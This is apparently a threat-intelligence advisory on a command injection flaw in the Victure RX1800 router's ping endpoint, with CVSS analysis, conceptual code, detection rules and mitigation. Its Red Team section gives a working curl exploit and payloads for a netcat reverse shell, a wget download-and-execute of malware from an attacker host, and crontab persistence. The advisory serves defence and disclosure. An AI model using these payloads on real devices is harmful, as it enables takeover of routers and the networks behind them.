CVE-2024-53940

Executive Summary

CVE-2024-53940 is a critical command injection vulnerability affecting the Victure RX1800 WiFi 6 Router (software version EN_V1.0.0_r12_110933, hardware 1.0). The flaw resides in certain /cgi-bin/luci/admin endpoints, where parameters intended for the ping utility are not properly sanitized. An unauthenticated attacker can inject arbitrary operating system commands, achieving remote code execution with root-level privileges. This vulnerability is currently unpatched, and no official fix has been released by the vendor. The CVSS score is 0.0 due to incomplete NVD data, but based on the technical details, the actual severity is critical (CVSS 9.8). The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the public availability of proof-of-concept code increases the risk.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded IoT device.

CVSS Breakdown & Threat Level

While the NVD reports a CVSS score of 0.0, a proper assessment based on the vulnerability details yields the following:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the router itself.
• Confidentiality (C): High (H) – Full device access, including configuration and network traffic.
• Integrity (I): High (H) – Attacker can modify firmware, settings, or inject malicious code.
• Availability (A): High (H) – Attacker can disrupt or disable the device.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Base Score: 9.8 (Critical)

Threat Level: Critical. The combination of remote, unauthenticated exploitation and root-level command execution makes this a severe threat. Immediate action is required.

Deep Dive & Mechanics

The vulnerability exists in the /cgi-bin/luci/admin endpoints of the Victure RX1800 router. These endpoints are part of the LuCI web interface, which provides administrative functions. Specifically, the ping utility is invoked with user-supplied parameters (e.g., IP address or hostname) without proper sanitization.

Root Cause: The application passes user input directly to a shell command (likely via exec() or system() in the backend) without escaping or validating the input. An attacker can inject shell metacharacters (e.g., ;, |, &&, `) to terminate the intended command and execute arbitrary commands.

Example vulnerable endpoint: /cgi-bin/luci/admin/network/ping?host=127.0.0.1;id

Impact: Successful exploitation allows an attacker to:

• Execute arbitrary commands as root.
• Install malware, backdoors, or cryptocurrency miners.
• Exfiltrate sensitive data (WiFi passwords, VPN credentials, network topology).
• Use the device as a pivot point for further attacks on the internal network.
• Disable the device (denial of service).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# Example backend code (Python/Flask-like)
import subprocess

@app.route('/cgi-bin/luci/admin/network/ping')
def ping():
    host = request.args.get('host')
    # VULNERABLE: Direct concatenation
    cmd = "ping -c 4 " + host
    output = subprocess.check_output(cmd, shell=True)
    return output

Patched Code (Conceptual):

import subprocess
import shlex

@app.route('/cgi-bin/luci/admin/network/ping')
def ping():
    host = request.args.get('host')
    # PATCHED: Use shlex.quote to escape shell metacharacters
    safe_host = shlex.quote(host)
    cmd = "ping -c 4 " + safe_host
    output = subprocess.check_output(cmd, shell=True)
    return output

Note: Since no official patch exists, the above is a recommended fix. The vendor has not released a patched firmware version.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Victure RX1800 router with firmware EN_V1.0.0_r12_110933.
• Network access to the router's web interface (typically on port 80 or 443).
• A tool like curl, netcat, or a custom script.

Exploitation Steps:

1. Identify the target: Scan for Victure RX1800 routers using Shodan or local network scanning.
2. Craft the payload: Inject a command after the intended parameter. For example, to execute id:

   http://<router_ip>/cgi-bin/luci/admin/network/ping?host=127.0.0.1;id
   

3. Execute the exploit:

   curl "http://192.168.1.1/cgi-bin/luci/admin/network/ping?host=127.0.0.1;id"
   

4. Verify: The response should include the output of the id command (e.g., uid=0(root) gid=0(root)).

Advanced Payloads:

• Reverse shell: host=127.0.0.1;nc -e /bin/sh <attacker_ip> 4444
• Download and execute malware: host=127.0.0.1;wget http://<attacker_ip>/malware -O /tmp/malware && chmod +x /tmp/malware && /tmp/malware
• Persistence: host=127.0.0.1;echo "*/5 * * * * root /tmp/backdoor" >> /etc/crontab

Blue Team (Defensive)

Detection and Response:

1. Monitor web logs: Look for unusual patterns in /cgi-bin/luci/admin requests, especially parameters containing shell metacharacters (;, |, &&, `).
2. Network monitoring: Detect outbound connections from the router to unknown IPs (potential reverse shells or data exfiltration).
3. Honeypot: Deploy a decoy Victure RX1800 to capture exploitation attempts.
4. Immediate containment:
   • Isolate the affected router from the network.
   • Block inbound/outbound traffic to/from the router's IP.
   • If possible, disable the vulnerable web interface or restrict access to trusted IPs only.
5. Forensics: Capture a memory dump and network traffic for analysis.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /cgi-bin/luci/admin/network/ping with parameters containing ;, |, &&, or `.
• Outbound connections from the router to unusual IPs on ports like 4444, 8080, or 31337.
• DNS queries to known malicious domains.

File System IOCs (on the router):

• Unexpected files in /tmp/ (e.g., /tmp/malware, /tmp/backdoor).
• Modified crontab entries in /etc/crontab.
• New processes running as root (e.g., nc, bash, python).

YARA Rule:

rule CVE_2024_53940_Exploit_Attempt {
    meta:
        description = "Detects command injection attempts targeting CVE-2024-53940"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-53940"
    strings:
        $cmd_inject = /host=[^&]*[;&|`]/
        $luci_path = "/cgi-bin/luci/admin/network/ping"
    condition:
        $luci_path and $cmd_inject
}

Detection Engineering

YARA Rule

rule CVE_2024_53940_Exploit_Attempt {
    meta:
        description = "Detects command injection attempts targeting CVE-2024-53940"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-53940"
    strings:
        $cmd_inject = /host=[^&]*[;&|`]/
        $luci_path = "/cgi-bin/luci/admin/network/ping"
    condition:
        $luci_path and $cmd_inject
}

Sigma Rule

title: CVE-2024-53940 Command Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2024-53940
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-53940
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/cgi-bin/luci/admin/network/ping'
        cs-uri-query|re: 'host=[^&]*[;&|`]'
    condition: selection
falsepositives:
    - Legitimate use of ping with special characters (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-53940 Command Injection Attempt"; flow:to_server; content:"/cgi-bin/luci/admin/network/ping"; http_uri; pcre:"/host=[^&]*[;&|`]/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable remote administration: If possible, disable the web interface from the WAN side.
2. Restrict access: Use firewall rules to allow only trusted IPs to access the router's web interface.
3. Monitor logs: Enable logging and monitor for exploitation attempts.

Long-term Fix:

• Vendor patch: Await an official firmware update from Victure. As of now, no patch is available.
• Workaround: If the device is critical, consider replacing it with a more secure alternative.
• Custom patch: Advanced users can attempt to modify the firmware to sanitize input (not recommended for production).

Valters IT Signature: This report was generated by Valters IT – DevSecOps & Cyber Threat Intelligence Division. For inquiries, contact: threatintel@valtersit.com